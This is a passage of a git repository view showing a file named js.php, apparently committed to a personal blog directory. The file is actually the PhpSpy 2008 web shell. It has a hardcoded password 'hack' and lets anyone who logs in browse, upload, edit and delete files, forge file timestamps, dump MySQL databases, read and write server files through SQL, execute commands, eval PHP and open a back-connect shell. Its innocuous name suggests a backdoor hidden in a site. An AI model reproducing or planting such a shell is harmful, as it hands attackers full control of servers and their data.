Initial add of defaria.com
[clearscm.git] / defaria.com / blogs / Personal / js.php
1 <?php\r\r\r\r/*****************************************************************************\r\r\r\r===================== ????????,????????????====================\r\r\r\r????????????????????\r\r\r\r??????????:Sniper\Super·Hei\kEvin1986\saiy\wofeiwo?\r\r\r\r???????????????????????!\r\r\r\r???1?7??????????????,?????????????!\r\r\r\r====================== ?????????????????? =======================\r\r\r\rCodz by angel(4ngel)\r\r\r\rMake in China\r\r\r\rWeb: http://www.4ngel.net\r\r\r\r*****************************************************************************/\r\r\r\rerror_reporting(7);\r\r@set_magic_quotes_runtime(0);\r\rob_start();\r\r$mtime = explode(' ', microtime());\r\r$starttime = $mtime[1] + $mtime[0];\r\rdefine('SA_ROOT', str_replace('\\', '/', dirname(__FILE__)).'/');\r\r//define('IS_WIN', strstr(PHP_OS, 'WIN') ? 1 : 0 );\r\rdefine('IS_WIN', DIRECTORY_SEPARATOR == '\\');\r\rdefine('IS_COM', class_exists('COM') ? 1 : 0 );\r\rdefine('IS_GPC', get_magic_quotes_gpc());\r\r$dis_func = get_cfg_var('disable_functions');\r\rdefine('IS_PHPINFO', (!eregi("phpinfo",$dis_func)) ? 1 : 0 );\r\r@set_time_limit(0);\r\r\r\rforeach(array('_GET','_POST') as $_request) {\r\r        foreach($$_request as $_key => $_value) {\r\r             if ($_key{0} != '_') {\r\r                        if (IS_GPC) {\r\r                         $_value = s_array($_value);\r\r                   }\r\r                     $$_key = $_value;\r\r             }\r\r     }\r\r}\r\r\r\r/*===================== ???? =====================*/\r\r$admin = array();\r\r// ????????, true ?????, false ?????.???????\r\r$admin['check'] = true;\r\r// ????????,???????\r\r$admin['pass']  = 'hack';\r\r\r\r//??? cookie ?????????, ??????, ???????, ???????\r\r// cookie ??\r\r$admin['cookiepre'] = '';\r\r// cookie ???\r\r$admin['cookiedomain'] = '';\r\r// cookie ????\r\r$admin['cookiepath'] = '/';\r\r// cookie ???\r\r$admin['cookielife'] = 86400;\r\r/*===================== ???? =====================*/\r\r\r\rif ($charset == 'utf8') {\r\r        header("content-Type: text/html; charset=utf-8");\r\r} elseif ($charset == 'big5') {\r\r    header("content-Type: text/html; charset=big5");\r\r} elseif ($charset == 'gbk') {\r\r      header("content-Type: text/html; charset=gbk");\r\r} elseif ($charset == 'latin1') {\r\r    header("content-Type: text/html; charset=iso-8859-2");\r\r}\r\r\r\r$self = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME'];\r\r$timestamp = time();\r\r\r\r/*===================== ???? =====================*/\r\rif ($action == "logout") {\r\r scookie('phpspypass', '', -86400 * 365);\r\r      p('<meta http-equiv="refresh" content="1;URL='.$self.'">');\r\r   p('<a style="font:12px Verdana" href="'.$self.'">Success</a>');\r\r       exit;\r\r}\r\rif($admin['check']) {\r\r       if ($doing == 'login') {\r\r              if ($admin['pass'] == $password) {\r\r                    scookie('phpspypass', $password);\r\r                     p('<meta http-equiv="refresh" content="1;URL='.$self.'">');\r\r                   p('<a style="font:12px Verdana" href="'.$self.'">Success</a>');\r\r                       exit;\r\r         }\r\r     }\r\r     if ($_COOKIE['phpspypass']) {\r\r         if ($_COOKIE['phpspypass'] != $admin['pass']) {\r\r                       loginpage();\r\r          }\r\r     } else {\r\r              loginpage();\r\r  }\r\r}\r\r/*===================== ???? =====================*/\r\r\r\r$errmsg = '';\r\r\r\r// ??PHPINFO\r\rif ($action == 'phpinfo') {\r\r      if (IS_PHPINFO) {\r\r             phpinfo();\r\r    } else {\r\r              $errmsg = 'phpinfo() function has non-permissible';\r\r   }\r\r}\r\r\r\r// ????\r\rif ($doing == 'downfile' && $thefile) {\r\r      if (!@file_exists($thefile)) {\r\r                $errmsg = 'The file you want Downloadable was nonexistent';\r\r   } else {\r\r              $fileinfo = pathinfo($thefile);\r\r               header('Content-type: application/x-'.$fileinfo['extension']);\r\r                header('Content-Disposition: attachment; filename='.$fileinfo['basename']);\r\r           header('Content-Length: '.filesize($thefile));\r\r                @readfile($thefile);\r\r          exit;\r\r }\r\r}\r\r\r\r// ?????????\r\rif ($doing == 'backupmysql' && !$saveasfile) {\r\r  dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);\r\r        $table = array_flip($table);\r\r  $result = q("SHOW tables");\r\r   if (!$result) p('<h2>'.mysql_error().'</h2>');\r\r        $filename = basename($_SERVER['HTTP_HOST'].'_MySQL.sql');\r\r     header('Content-type: application/unknown');\r\r  header('Content-Disposition: attachment; filename='.$filename);\r\r       $mysqldata = '';\r\r      while ($currow = mysql_fetch_array($result)) {\r\r                if (isset($table[$currow[0]])) {\r\r                      $mysqldata .= sqldumptable($currow[0]);\r\r               }\r\r     }\r\r     mysql_close();\r\r        exit;\r\r}\r\r\r\r// ??MYSQL????\r\rif($doing=='mysqldown'){\r\r  if (!$dbname) {\r\r               $errmsg = 'Please input dbname';\r\r      } else {\r\r              dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);\r\r                if (!file_exists($mysqldlfile)) {\r\r                     $errmsg = 'The file you want Downloadable was nonexistent';\r\r           } else {\r\r                      $result = q("select load_file('$mysqldlfile');");\r\r                     if(!$result){\r\r                         q("DROP TABLE IF EXISTS tmp_angel;");\r\r                         q("CREATE TABLE tmp_angel (content LONGBLOB NOT NULL);");\r\r                             //?????????,???????????__angel_1111111111_eof__??????????\r\r                             q("LOAD DATA LOCAL INFILE '".addslashes($mysqldlfile)."' INTO TABLE tmp_angel FIELDS TERMINATED BY '__angel_{$timestamp}_eof__' ESCAPED BY '' LINES TERMINATED BY '__angel_{$timestamp}_eof__';");\r\r                            $result = q("select content from tmp_angel");\r\r                         q("DROP TABLE tmp_angel");\r\r                    }\r\r                     $row = @mysql_fetch_array($result);\r\r                   if (!$row) {\r\r                          $errmsg = 'Load file failed '.mysql_error();\r\r                  } else {\r\r                              $fileinfo = pathinfo($mysqldlfile);\r\r                           header('Content-type: application/x-'.$fileinfo['extension']);\r\r                                header('Content-Disposition: attachment; filename='.$fileinfo['basename']);\r\r                           header("Accept-Length: ".strlen($row[0]));\r\r                            echo $row[0];\r\r                         exit;\r\r                 }\r\r             }\r\r     }\r\r}\r\r\r\r?>\r\r<html>\r\r<head>\r\r<meta http-equiv="Content-Type" content="text/html; charset=gbk">\r\r<title><?php echo str_replace('.','','P.h.p.S.p.y');?></title>\r\r<style type="text/css">\r\rbody,td{font: 12px Arial,Tahoma;line-height: 16px;}\r\r.input{font:12px Arial,Tahoma;background:#fff;border: 1px solid #666;padding:2px;height:22px;}\r\r.area{font:12px 'Courier New', Monospace;background:#fff;border: 1px solid #666;padding:2px;}\r\r.bt {border-color:#b0b0b0;background:#3d3d3d;color:#ffffff;font:12px Arial,Tahoma;height:22px;}\r\ra {color: #00f;text-decoration:underline;}\r\ra:hover{color: #f00;text-decoration:none;}\r\r.alt1 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f1f1f1;padding:5px 10px 5px 5px;}\r\r.alt2 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f9f9f9;padding:5px 10px 5px 5px;}\r\r.focus td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#ffffaa;padding:5px 10px 5px 5px;}\r\r.head td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#e9e9e9;padding:5px 10px 5px 5px;font-weight:bold;}\r\r.head td span{font-weight:normal;}\r\rform{margin:0;padding:0;}\r\rh2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}\r\rul.info li{margin:0;color:#444;line-height:24px;height:24px;}\r\ru{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}\r\r</style>\r\r<script type="text/javascript">\r\rfunction CheckAll(form) {\r\r for(var i=0;i<form.elements.length;i++) {\r\r             var e = form.elements[i];\r\r             if (e.name != 'chkall')\r\r               e.checked = form.chkall.checked;\r\r    }\r\r}\r\rfunction $(id) {\r\r  return document.getElementById(id);\r\r}\r\rfunction goaction(act){\r\r       $('goaction').action.value=act;\r\r       $('goaction').submit();\r\r}\r\r</script>\r\r</head>\r\r<body style="margin:0;table-layout:fixed; word-break:break-all">\r\r<table width="100%" border="0" cellpadding="0" cellspacing="0">\r\r     <tr class="head">\r\r             <td><span style="float:right;"><a href="http://www.4ngel.net" target="_blank"><?php echo str_replace('.','','P.h.p.S.p.y');?> Ver: 2008</a></span><?php echo $_SERVER['HTTP_HOST'];?> (<?php echo gethostbyname($_SERVER['SERVER_NAME']);?>)</td>\r\r     </tr>\r\r <tr class="alt1">\r\r             <td><span style="float:right;">Safe Mode:<?php echo getcfg('safe_mode');?></span>\r\r                     <a href="javascript:goaction('logout');">Logout</a> | \r\r                        <a href="javascript:goaction('file');">File Manager</a> | \r\r                    <a href="javascript:goaction('sqladmin');">MySQL Manager</a> | \r\r                       <a href="javascript:goaction('sqlfile');">MySQL Upload &amp; Download</a> | \r\r                  <a href="javascript:goaction('shell');">Execute Command</a> | \r\r                        <a href="javascript:goaction('phpenv');">PHP Variable</a> | \r\r                  <a href="javascript:goaction('eval');">Eval PHP Code</a>\r\r                      <?php if (!IS_WIN) {?> | <a href="javascript:goaction('backconnect');">Back Connect</a><?php }?>\r\r              </td>\r\r </tr>\r\r</table>\r\r<table width="100%" border="0" cellpadding="15" cellspacing="0"><tr><td>\r\r<?php\r\r\r\rformhead(array('name'=>'goaction'));\r\rmakehide('action');\r\rformfoot();\r\r\r\r$errmsg && m($errmsg);\r\r\r\r// ??????\r\r!$dir && $dir = '.';\r\r$nowpath = getPath(SA_ROOT, $dir);\r\rif (substr($dir, -1) != '/') {\r\r   $dir = $dir.'/';\r\r}\r\r$uedir = ue($dir);\r\r\r\rif (!$action || $action == 'file') {\r\r\r\r     // ??????\r\r     $dir_writeable = @is_writable($nowpath) ? 'Writable' : 'Non-writable';\r\r\r\r      // ????\r\r       if ($doing == 'deldir' && $thefile) {\r\r         if (!file_exists($thefile)) {\r\r                 m($thefile.' directory does not exist');\r\r              } else {\r\r                      m('Directory delete '.(deltree($thefile) ? basename($thefile).' success' : 'failed'));\r\r                }\r\r     }\r\r\r\r   // ????\r\r       elseif ($newdirname) {\r\r                $mkdirs = $nowpath.$newdirname;\r\r               if (file_exists($mkdirs)) {\r\r                   m('Directory has already existed');\r\r           } else {\r\r                      m('Directory created '.(@mkdir($mkdirs,0777) ? 'success' : 'failed'));\r\r                        @chmod($mkdirs,0777);\r\r         }\r\r     }\r\r\r\r   // ????\r\r       elseif ($doupfile) {\r\r          m('File upload '.(@copy($_FILES['uploadfile']['tmp_name'],$uploaddir.'/'.$_FILES['uploadfile']['name']) ? 'success' : 'failed'));\r\r     }\r\r\r\r   // ????\r\r       elseif ($editfilename && $filecontent) {\r\r              $fp = @fopen($editfilename,'w');\r\r              m('Save file '.(@fwrite($fp,$filecontent) ? 'success' : 'failed'));\r\r           @fclose($fp);\r\r }\r\r\r\r   // ??????\r\r     elseif ($pfile && $newperm) {\r\r         if (!file_exists($pfile)) {\r\r                   m('The original file does not exist');\r\r                } else {\r\r                      $newperm = base_convert($newperm,8,10);\r\r                       m('Modify file attributes '.(@chmod($pfile,$newperm) ? 'success' : 'failed'));\r\r                }\r\r     }\r\r\r\r   // ??\r\r elseif ($oldname && $newfilename) {\r\r           $nname = $nowpath.$newfilename;\r\r               if (file_exists($nname) || !file_exists($oldname)) {\r\r                  m($nname.' has already existed or original file does not exist');\r\r             } else {\r\r                      m(basename($oldname).' renamed '.basename($nname).(@rename($oldname,$nname) ? ' success' : 'failed'));\r\r                }\r\r     }\r\r\r\r   // ????\r\r       elseif ($sname && $tofile) {\r\r          if (file_exists($tofile) || !file_exists($sname)) {\r\r                   m('The goal file has already existed or original file does not exist');\r\r               } else {\r\r                      m(basename($tofile).' copied '.(@copy($sname,$tofile) ? basename($tofile).' success' : 'failed'));\r\r            }\r\r     }\r\r\r\r   // ????\r\r       elseif ($curfile && $tarfile) {\r\r               if (!@file_exists($curfile) || !@file_exists($tarfile)) {\r\r                     m('The goal file has already existed or original file does not exist');\r\r               } else {\r\r                      $time = @filemtime($tarfile);\r\r                 m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));\r\r            }\r\r     }\r\r\r\r   // ?????\r\r      elseif ($curfile && $year && $month && $day && $hour && $minute && $second) {\r\r         if (!@file_exists($curfile)) {\r\r                        m(basename($curfile).' does not exist');\r\r              } else {\r\r                      $time = strtotime("$year-$month-$day $hour:$minute:$second");\r\r                 m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));\r\r            }\r\r     }\r\r\r\r   // ????\r\r       elseif($doing == 'downrar') {\r\r         if ($dl) {\r\r                    $dfiles='';\r\r                   foreach ($dl as $filepath => $value) {\r\r                                $dfiles.=$filepath.',';\r\r                       }\r\r                     $dfiles=substr($dfiles,0,strlen($dfiles)-1);\r\r                  $dl=explode(',',$dfiles);\r\r                     $zip=new PHPZip($dl);\r\r                 $code=$zip->out;\r\r                      header('Content-type: application/octet-stream');\r\r                     header('Accept-Ranges: bytes');\r\r                       header('Accept-Length: '.strlen($code));\r\r                      header('Content-Disposition: attachment;filename='.$_SERVER['HTTP_HOST'].'_Files.tar.gz');\r\r                    echo $code;\r\r                   exit;\r\r         } else {\r\r                      m('Please select file(s)');\r\r           }\r\r     }\r\r\r\r   // ??????\r\r     elseif($doing == 'delfiles') {\r\r                if ($dl) {\r\r                    $dfiles='';\r\r                   $succ = $fail = 0;\r\r                    foreach ($dl as $filepath => $value) {\r\r                                if (@unlink($filepath)) {\r\r                                     $succ++;\r\r                              } else {\r\r                                      $fail++;\r\r                              }\r\r                     }\r\r                     m('Deleted file have finished,choose '.count($dl).' success '.$succ.' fail '.$fail);\r\r          } else {\r\r                      m('Please select file(s)');\r\r           }\r\r     }\r\r\r\r   //????\r\r        formhead(array('name'=>'createdir'));\r\r makehide('newdirname');\r\r       makehide('dir',$nowpath);\r\r     formfoot();\r\r   formhead(array('name'=>'fileperm'));\r\r  makehide('newperm');\r\r  makehide('pfile');\r\r    makehide('dir',$nowpath);\r\r     formfoot();\r\r   formhead(array('name'=>'copyfile'));\r\r  makehide('sname');\r\r    makehide('tofile');\r\r   makehide('dir',$nowpath);\r\r     formfoot();\r\r   formhead(array('name'=>'rename'));\r\r    makehide('oldname');\r\r  makehide('newfilename');\r\r      makehide('dir',$nowpath);\r\r     formfoot();\r\r   formhead(array('name'=>'fileopform'));\r\r        makehide('action');\r\r   makehide('opfile');\r\r   makehide('dir');\r\r      formfoot();\r\r\r\r $free = @disk_free_space($nowpath);\r\r   !$free && $free = 0;\r\r  $all = @disk_total_space($nowpath);\r\r   !$all && $all = 0;\r\r    $used = $all-$free;\r\r   $used_percent = @round(100/($all/$free),2);\r\r   p('<h2>File Manager - Current disk free '.sizecount($free).' of '.sizecount($all).' ('.$used_percent.'%)</h2>');\r\r\r\r?>\r\r<table width="100%" border="0" cellpadding="0" cellspacing="0" style="margin:10px 0;">\r\r  <form action="" method="post" id="godir" name="godir">\r\r  <tr>\r\r    <td nowrap>Current Directory (<?php echo $dir_writeable;?>, <?php echo getChmod($nowpath);?>)</td>\r\r      <td width="100%"><input name="view_writable" value="0" type="hidden" /><input class="input" name="dir" value="<?php echo $nowpath;?>" type="text" style="width:100%;margin:0 8px;"></td>\r\r    <td nowrap><input class="bt" value="GO" type="submit"></td>\r\r  </tr>\r\r  </form>\r\r</table>\r\r<script type="text/javascript">\r\rfunction createdir(){\r\r       var newdirname;\r\r       newdirname = prompt('Please input the directory name:', '');\r\r  if (!newdirname) return;\r\r      $('createdir').newdirname.value=newdirname;\r\r   $('createdir').submit();\r\r}\r\rfunction fileperm(pfile){\r\r        var newperm;\r\r  newperm = prompt('Current file:'+pfile+'\nPlease input new attribute:', '');\r\r  if (!newperm) return;\r\r $('fileperm').newperm.value=newperm;\r\r  $('fileperm').pfile.value=pfile;\r\r      $('fileperm').submit();\r\r}\r\rfunction copyfile(sname){\r\r var tofile;\r\r   tofile = prompt('Original file:'+sname+'\nPlease input object file (fullpath):', '');\r\r if (!tofile) return;\r\r  $('copyfile').tofile.value=tofile;\r\r    $('copyfile').sname.value=sname;\r\r      $('copyfile').submit();\r\r}\r\rfunction rename(oldname){\r\r var newfilename;\r\r      newfilename = prompt('Former file name:'+oldname+'\nPlease input new filename:', '');\r\r if (!newfilename) return;\r\r     $('rename').newfilename.value=newfilename;\r\r    $('rename').oldname.value=oldname;\r\r    $('rename').submit();\r\r}\r\rfunction dofile(doing,thefile,m){\r\r   if (m && !confirm(m)) {\r\r               return;\r\r       }\r\r     $('filelist').doing.value=doing;\r\r      if (thefile){\r\r         $('filelist').thefile.value=thefile;\r\r  }\r\r     $('filelist').submit();\r\r}\r\rfunction createfile(nowpath){\r\r     var filename;\r\r filename = prompt('Please input the file name:', '');\r\r if (!filename) return;\r\r        opfile('editfile',nowpath + filename,nowpath);\r\r}\r\rfunction opfile(action,opfile,dir){\r\r        $('fileopform').action.value=action;\r\r  $('fileopform').opfile.value=opfile;\r\r  $('fileopform').dir.value=dir;\r\r        $('fileopform').submit();\r\r}\r\rfunction godir(dir,view_writable){\r\r      if (view_writable) {\r\r          $('godir').view_writable.value=1;\r\r     }\r\r     $('godir').dir.value=dir;\r\r     $('godir').submit();\r\r}\r\r</script>\r\r  <?php\r\r   tbhead();\r\r     p('<form action="'.$self.'" method="POST" enctype="multipart/form-data"><tr class="alt1"><td colspan="7" style="padding:5px;">');\r\r     p('<div style="float:right;"><input class="input" name="uploadfile" value="" type="file" /> <input class="bt" name="doupfile" value="Upload" type="submit" /><input name="uploaddir" value="'.$dir.'" type="hidden" /><input name="dir" value="'.$dir.'" type="hidden" /></div>');\r\r    p('<a href="javascript:godir(\''.$_SERVER["DOCUMENT_ROOT"].'\');">WebRoot</a>');\r\r      if ($view_writable) {\r\r         p(' | <a href="javascript:godir(\''.$nowpath.'\');">View All</a>');\r\r   } else {\r\r              p(' | <a href="javascript:godir(\''.$nowpath.'\',\'1\');">View Writable</a>');\r\r        }\r\r     p(' | <a href="javascript:createdir();">Create Directory</a> | <a href="javascript:createfile(\''.$nowpath.'\');">Create File</a>');\r\r  if (IS_WIN && IS_COM) {\r\r               $obj = new COM('scripting.filesystemobject');\r\r         if ($obj && is_object($obj)) {\r\r                        $DriveTypeDB = array(0 => 'Unknow',1 => 'Removable',2 => 'Fixed',3 => 'Network',4 => 'CDRom',5 => 'RAM Disk');\r\r                        foreach($obj->Drives as $drive) {\r\r                             if ($drive->DriveType == 2) {\r\r                                 p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Size:'.sizecount($drive->TotalSize).'&#13;Free:'.sizecount($drive->FreeSpace).'&#13;Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');\r\r                            } else {\r\r                                      p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');\r\r                                }\r\r                     }\r\r             }\r\r     }\r\r\r\r   p('</td></tr></form>');\r\r\r\r     p('<tr class="head"><td>&nbsp;</td><td>Filename</td><td width="16%">Last modified</td><td width="10%">Size</td><td width="20%">Chmod / Perms</td><td width="22%">Action</td></tr>');\r\r\r\r        //???????????\r\r $dirdata=array();\r\r     $filedata=array();\r\r\r\r  if ($view_writable) {\r\r         $dirdata = GetList($nowpath);\r\r } else {\r\r              // ????\r\r               $dirs=@opendir($dir);\r\r         while ($file=@readdir($dirs)) {\r\r                       $filepath=$nowpath.$file;\r\r                     if(@is_dir($filepath)){\r\r                               $dirdb['filename']=$file;\r\r                             $dirdb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));\r\r                            $dirdb['dirchmod']=getChmod($filepath);\r\r                               $dirdb['dirperm']=getPerms($filepath);\r\r                                $dirdb['fileowner']=getUser($filepath);\r\r                               $dirdb['dirlink']=$nowpath;\r\r                           $dirdb['server_link']=$filepath;\r\r                              $dirdb['client_link']=ue($filepath);\r\r                          $dirdata[]=$dirdb;\r\r                    } else {                \r\r                              $filedb['filename']=$file;\r\r                            $filedb['size']=sizecount(@filesize($filepath));\r\r                              $filedb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));\r\r                           $filedb['filechmod']=getChmod($filepath);\r\r                             $filedb['fileperm']=getPerms($filepath);\r\r                              $filedb['fileowner']=getUser($filepath);\r\r                              $filedb['dirlink']=$nowpath;\r\r                          $filedb['server_link']=$filepath;\r\r                             $filedb['client_link']=ue($filepath);\r\r                         $filedata[]=$filedb;\r\r                  }\r\r             }// while\r\r             unset($dirdb);\r\r                unset($filedb);\r\r               @closedir($dirs);\r\r     }\r\r     @sort($dirdata);\r\r      @sort($filedata);\r\r     $dir_i = '0';\r\r foreach($dirdata as $key => $dirdb){\r\r          if($dirdb['filename']!='..' && $dirdb['filename']!='.') {\r\r                     $thisbg = bg();\r\r                       p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');\r\r                   p('<td width="2%" nowrap><font face="wingdings" size="3">0</font></td>');\r\r                     p('<td><a href="javascript:godir(\''.$dirdb['server_link'].'\');">'.$dirdb['filename'].'</a></td>');\r\r                  p('<td nowrap>'.$dirdb['mtime'].'</td>');\r\r                     p('<td nowrap>--</td>');\r\r                      p('<td nowrap>');\r\r                     p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirchmod'].'</a> / ');\r\r                     p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirperm'].'</a>'.$dirdb['fileowner'].'</td>');\r\r                     p('<td nowrap><a href="javascript:dofile(\'deldir\',\''.$dirdb['server_link'].'\',\'Are you sure will delete '.$dirdb['filename'].'? \\n\\nIf non-empty directory, will be delete all the files.\')">Del</a> | <a href="javascript:rename(\''.$dirdb['server_link'].'\');">Rename</a></td>');\r\r                 p('</tr>');\r\r                   $dir_i++;\r\r             } else {\r\r                      if($dirdb['filename']=='..') {\r\r                                p('<tr class='.bg().'>');\r\r                             p('<td align="center"><font face="Wingdings 3" size=4>=</font></td><td nowrap colspan="5"><a href="javascript:godir(\''.getUpPath($nowpath).'\');">Parent Directory</a></td>');\r\r                               p('</tr>');\r\r                   }\r\r             }\r\r     }\r\r\r\r   p('<tr bgcolor="#dddddd" stlye="border-top:1px solid #fff;border-bottom:1px solid #ddd;"><td colspan="6" height="5"></td></tr>');\r\r     p('<form id="filelist" name="filelist" action="'.$self.'" method="post">');\r\r   makehide('action','file');\r\r    makehide('thefile');\r\r  makehide('doing');\r\r    makehide('dir',$nowpath);\r\r     $file_i = '0';\r\r        foreach($filedata as $key => $filedb){\r\r                if($filedb['filename']!='..' && $filedb['filename']!='.') {\r\r                   $fileurl = str_replace(SA_ROOT,'',$filedb['server_link']);\r\r                    $thisbg = bg();\r\r                       p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');\r\r                   p('<td width="2%" nowrap><input type="checkbox" value="1" name="dl['.$filedb['server_link'].']"></td>');\r\r                      p('<td><a href="'.$fileurl.'" target="_blank">'.$filedb['filename'].'</a></td>');\r\r                     p('<td nowrap>'.$filedb['mtime'].'</td>');\r\r                    p('<td nowrap>'.$filedb['size'].'</td>');\r\r                     p('<td nowrap>');\r\r                     p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['filechmod'].'</a> / ');\r\r                  p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['fileperm'].'</a>'.$filedb['fileowner'].'</td>');\r\r                 p('<td nowrap>');\r\r                     p('<a href="javascript:dofile(\'downfile\',\''.$filedb['server_link'].'\');">Down</a> | ');\r\r                   p('<a href="javascript:copyfile(\''.$filedb['server_link'].'\');">Copy</a> | ');\r\r                      p('<a href="javascript:opfile(\'editfile\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Edit</a> | ');\r\r                        p('<a href="javascript:rename(\''.$filedb['server_link'].'\');">Rename</a> | ');\r\r                      p('<a href="javascript:opfile(\'newtime\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Time</a>');\r\r                    p('</td></tr>');\r\r                      $file_i++;\r\r            }\r\r     }\r\r     p('<tr class="'.bg().'"><td align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td><td><a href="javascript:dofile(\'downrar\');">Packing download selected</a> - <a href="javascript:dofile(\'delfiles\');">Delete selected</a></td><td colspan="4" align="right">'.$dir_i.' directories / '.$file_i.' files</td></tr>');\r\r        p('</form></table>');\r\r}// end dir\r\r\r\relseif ($action == 'sqlfile') {\r\r if($doing=="mysqlupload"){\r\r            $file = $_FILES['uploadfile'];\r\r                $filename = $file['tmp_name'];\r\r                if (file_exists($savepath)) {\r\r                 m('The goal file has already existed');\r\r               } else {\r\r                      if(!$filename) {\r\r                              m('Please choose a file');\r\r                    } else {\r\r                              $fp=@fopen($filename,'r');\r\r                            $contents=@fread($fp, filesize($filename));\r\r                           @fclose($fp);\r\r                         $contents = bin2hex($contents);\r\r                               if(!$upname) $upname = $file['name'];\r\r                         dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);\r\r                             $result = q("SELECT 0x{$contents} FROM mysql.user INTO DUMPFILE '$savepath';");\r\r                               m($result ? 'Upload success' : 'Upload has failed: '.mysql_error());\r\r                  }\r\r             }\r\r     }\r\r?>\r\r<script type="text/javascript">\r\rfunction mysqlfile(doing){\r\r    if(!doing) return;\r\r    $('doing').value=doing;\r\r       $('mysqlfile').dbhost.value=$('dbinfo').dbhost.value;\r\r $('mysqlfile').dbport.value=$('dbinfo').dbport.value;\r\r $('mysqlfile').dbuser.value=$('dbinfo').dbuser.value;\r\r $('mysqlfile').dbpass.value=$('dbinfo').dbpass.value;\r\r $('mysqlfile').dbname.value=$('dbinfo').dbname.value;\r\r $('mysqlfile').charset.value=$('dbinfo').charset.value;\r\r       $('mysqlfile').submit();\r\r}\r\r</script>\r\r<?php\r\r !$dbhost && $dbhost = 'localhost';\r\r    !$dbuser && $dbuser = 'root';\r\r !$dbport && $dbport = '3306';\r\r $charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');\r\r   formhead(array('title'=>'MYSQL Information','name'=>'dbinfo'));\r\r       makehide('action','sqlfile');\r\r p('<p>');\r\r     p('DBHost:');\r\r makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));\r\r       p(':');\r\r       makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));\r\r        p('DBUser:');\r\r makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));\r\r       p('DBPass:');\r\r makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));\r\r       p('DBName:');\r\r makeinput(array('name'=>'dbname','size'=>15,'value'=>$dbname));\r\r       p('DBCharset:');\r\r      makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));\r\r        p('</p>');\r\r    formfoot();\r\r   p('<form action="'.$self.'" method="POST" enctype="multipart/form-data" name="mysqlfile" id="mysqlfile">');\r\r   p('<h2>Upload file</h2>');\r\r    p('<p><b>This operation the DB user must has FILE privilege</b></p>');\r\r        p('<p>Save path(fullpath): <input class="input" name="savepath" size="45" type="text" /> Choose a file: <input class="input" name="uploadfile" type="file" /> <a href="javascript:mysqlfile(\'mysqlupload\');">Upload</a></p>');\r\r      p('<h2>Download file</h2>');\r\r  p('<p>File: <input class="input" name="mysqldlfile" size="115" type="text" /> <a href="javascript:mysqlfile(\'mysqldown\');">Download</a></p>');\r\r      makehide('dbhost');\r\r   makehide('dbport');\r\r   makehide('dbuser');\r\r   makehide('dbpass');\r\r   makehide('dbname');\r\r   makehide('charset');\r\r  makehide('doing');\r\r    makehide('action','sqlfile');\r\r p('</form>');\r\r}\r\r\r\relseif ($action == 'sqladmin') {\r\r  !$dbhost && $dbhost = 'localhost';\r\r    !$dbuser && $dbuser = 'root';\r\r !$dbport && $dbport = '3306';\r\r $dbform = '<input type="hidden" id="connect" name="connect" value="1" />';\r\r    if(isset($dbhost)){\r\r           $dbform .= "<input type=\"hidden\" id=\"dbhost\" name=\"dbhost\" value=\"$dbhost\" />\n";\r\r     }\r\r     if(isset($dbuser)) {\r\r          $dbform .= "<input type=\"hidden\" id=\"dbuser\" name=\"dbuser\" value=\"$dbuser\" />\n";\r\r     }\r\r     if(isset($dbpass)) {\r\r          $dbform .= "<input type=\"hidden\" id=\"dbpass\" name=\"dbpass\" value=\"$dbpass\" />\n";\r\r     }\r\r     if(isset($dbport)) {\r\r          $dbform .= "<input type=\"hidden\" id=\"dbport\" name=\"dbport\" value=\"$dbport\" />\n";\r\r     }\r\r     if(isset($dbname)) {\r\r          $dbform .= "<input type=\"hidden\" id=\"dbname\" name=\"dbname\" value=\"$dbname\" />\n";\r\r     }\r\r     if(isset($charset)) {\r\r         $dbform .= "<input type=\"hidden\" id=\"charset\" name=\"charset\" value=\"$charset\" />\n";\r\r  }\r\r\r\r   if ($doing == 'backupmysql' && $saveasfile) {\r\r         if (!$table) {\r\r                        m('Please choose the table');\r\r         } else {\r\r                      dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);\r\r                     $table = array_flip($table);\r\r                  $fp = @fopen($path,'w');\r\r                      if ($fp) {\r\r                            $result = q('SHOW tables');\r\r                           if (!$result) p('<h2>'.mysql_error().'</h2>');\r\r                                $mysqldata = '';\r\r                              while ($currow = mysql_fetch_array($result)) {\r\r                                        if (isset($table[$currow[0]])) {\r\r                                              sqldumptable($currow[0], 